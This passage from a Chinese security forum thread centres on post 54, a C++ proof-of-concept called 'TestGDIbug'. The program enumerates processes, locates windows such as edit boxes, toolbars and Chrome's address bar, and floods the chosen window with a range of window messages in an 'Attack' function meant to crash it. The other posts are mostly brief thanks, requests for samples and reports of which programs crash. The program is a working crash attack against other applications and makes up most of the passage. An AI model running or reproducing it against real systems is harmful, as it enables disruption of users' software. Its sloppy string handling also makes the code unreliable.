能力值:
( LV2,RANK:10 )
|
-
-
51 楼
学习了。。。。
|
能力值:
( LV2,RANK:10 )
|
-
-
52 楼
下载 测试了下 效果很理想!
|
能力值:
( LV3,RANK:30 )
|
-
-
53 楼
重新上传个控制台版本的把
都是加密的
|
能力值:
( LV3,RANK:30 )
|
-
-
54 楼
正在调试命令行版本
// TestGDIbug.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <windows.h>
#include <TlHelp32.h>
#pragma warning( disable : 4996)//_CRT_SECURE_NO_WARNINGS
struct PEinfo
{
TCHAR szExeFile[256];
DWORD dwPid;
HWND hwnd;//0x003e048a 0x0055034c 0x0003011e
char szClassName[256];
};
PEinfo g_PEinfo[256];
unsigned short g_Size = 0;
void Attack(HWND hwnd,PCHAR pClassName)
{
printf("窗口句柄:%x,窗口类名:%s",hwnd,pClassName);
for(int i = 0xb0; i < 0xcc; i++)
{
::SendMessage(hwnd, i, 0x0, 0x0);
}
}
BOOL CALLBACK EnumChildWindowsFunc(HWND hwnd,LPARAM lparam)
{
DWORD dwPid = 0;
char szClassName[MAXBYTE];
int pos = -1;
int ctrlcut = 0;
GetWindowThreadProcessId(hwnd, &dwPid);
if (dwPid != (DWORD)lparam)
{
return FALSE;
}
for (int i=0;i<g_Size;i++)
{
if (g_PEinfo[i].dwPid == dwPid)
{
pos = i;
break;
}
}
if (pos == -1)
{
return TRUE;
}
GetClassNameA(hwnd,szClassName,MAXBYTE);
if(0 == strcmp(szClassName, "Edit"))
{
ctrlcut++;
strcpy(g_PEinfo[pos].szClassName,szClassName);
g_PEinfo[pos].hwnd = hwnd;
}
if(0 == strcmp(szClassName, "ToolbarWindow32"))
{
ctrlcut++;
if (ctrlcut > 0)
{strcat(g_PEinfo[pos].szClassName," + ");}
strcpy(g_PEinfo[pos].szClassName,szClassName);
g_PEinfo[pos].hwnd = hwnd;
}
if(0 == strcmp(szClassName, "TreeListWindowClass"))
{
ctrlcut++;
if (ctrlcut > 0)
{strcat(g_PEinfo[pos].szClassName," + ");}
strcpy(g_PEinfo[pos].szClassName,szClassName);
g_PEinfo[pos].hwnd = hwnd;
}
if(0 == strcmp(szClassName, "ThunderRT6TextBox"))
{
ctrlcut++;
if (ctrlcut > 0)
{strcat(g_PEinfo[pos].szClassName," + ");}
strcpy(g_PEinfo[pos].szClassName,szClassName);
g_PEinfo[pos].hwnd = hwnd;
}
if(0 == strcmp(szClassName, "ThunderRT6FormDC"))
{
ctrlcut++;
if (ctrlcut > 0)
{strcat(g_PEinfo[pos].szClassName," + ");}
strcpy(g_PEinfo[pos].szClassName,szClassName);
g_PEinfo[pos].hwnd = hwnd;
}
if(0 == strcmp(szClassName, "Chrome_OmniboxView"))
{
ctrlcut++;
if (ctrlcut > 0)
{strcat(g_PEinfo[pos].szClassName," + ");}
strcpy(g_PEinfo[pos].szClassName,szClassName);
g_PEinfo[pos].hwnd = hwnd;
}
EnumChildWindows(hwnd,EnumChildWindowsFunc,lparam);
return TRUE;
}
BOOL CALLBACK EnumWindowsFunc(HWND hwnd,LPARAM lparam)
{
DWORD dwPid = 0;
GetWindowThreadProcessId(hwnd, &dwPid);
EnumChildWindows(hwnd,EnumChildWindowsFunc,lparam);
return TRUE;
}
int _tmain(int argc, _TCHAR* argv[])
{
DWORD dPid = 0;
PROCESSENTRY32 pe;
int i =0;
int id = -1;
pe.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32snapshot Failed!");
return -1;
}
BOOL ret = Process32First(hSnapshot,&pe);
while (ret)
{
dPid = pe.th32ProcessID;
g_PEinfo[i].dwPid = pe.th32ProcessID;
wcscpy_s(g_PEinfo[i].szExeFile,pe.szExeFile);
g_Size++;
i++;
ret = Process32Next(hSnapshot,&pe);
}
for (int i=0;i<g_Size;i++)
{
EnumWindows(EnumWindowsFunc,g_PEinfo[i].dwPid);
if (strlen(g_PEinfo[i].szClassName) == 0)
{
g_PEinfo[i].dwPid = 0;
g_PEinfo[i].hwnd = NULL;
}
else
{
wprintf_s( TEXT("%d %s %S\t"),i,g_PEinfo[i].szExeFile,g_PEinfo[i].szClassName);
}
}
printf("Enter The No You Want To Test!\n");
scanf("%d",&id);
Attack(g_PEinfo[id].hwnd,g_PEinfo[id].szClassName);
return 0;
}
|
能力值:
( LV2,RANK:10 )
|
-
-
55 楼
源代码是密文的。。。。
|
能力值:
( LV2,RANK:10 )
|
-
-
56 楼
留名再看,感谢LZ
|
能力值:
( LV2,RANK:10 )
|
-
-
57 楼
试了下,好像只有任务管理器可以
|
能力值:
( LV2,RANK:10 )
|
-
-
58 楼
虽不晓但觉吊,收藏下
|
能力值:
( LV2,RANK:10 )
|
-
-
59 楼
25L 没有啊 lz 请问还能发么?
|
能力值:
( LV2,RANK:10 )
|
-
-
60 楼
功力不够,但是看起来好厉害的样子
|
能力值:
( LV2,RANK:10 )
|
-
-
61 楼
核心代码就这一句...
|
能力值:
( LV2,RANK:10 )
|
-
-
62 楼
看不懂 还在研究内核的初级阶段 楼主能说说心得不
|
能力值:
( LV2,RANK:10 )
|
-
-
63 楼
不懂,看起来很强啊,LZ深挖一下
|
能力值:
( LV2,RANK:10 )
|
-
-
64 楼
很好很强大!!!!!
|
能力值:
( LV2,RANK:10 )
|
-
-
65 楼
求大神分享测试样本!!!!
|
能力值:
( LV2,RANK:10 )
|
-
-
66 楼
好吧,表示看不懂
|
能力值:
( LV7,RANK:110 )
|
-
-
67 楼
for
0xCB XP ToolbarWindow32 不崩
0X2000就蹦了
|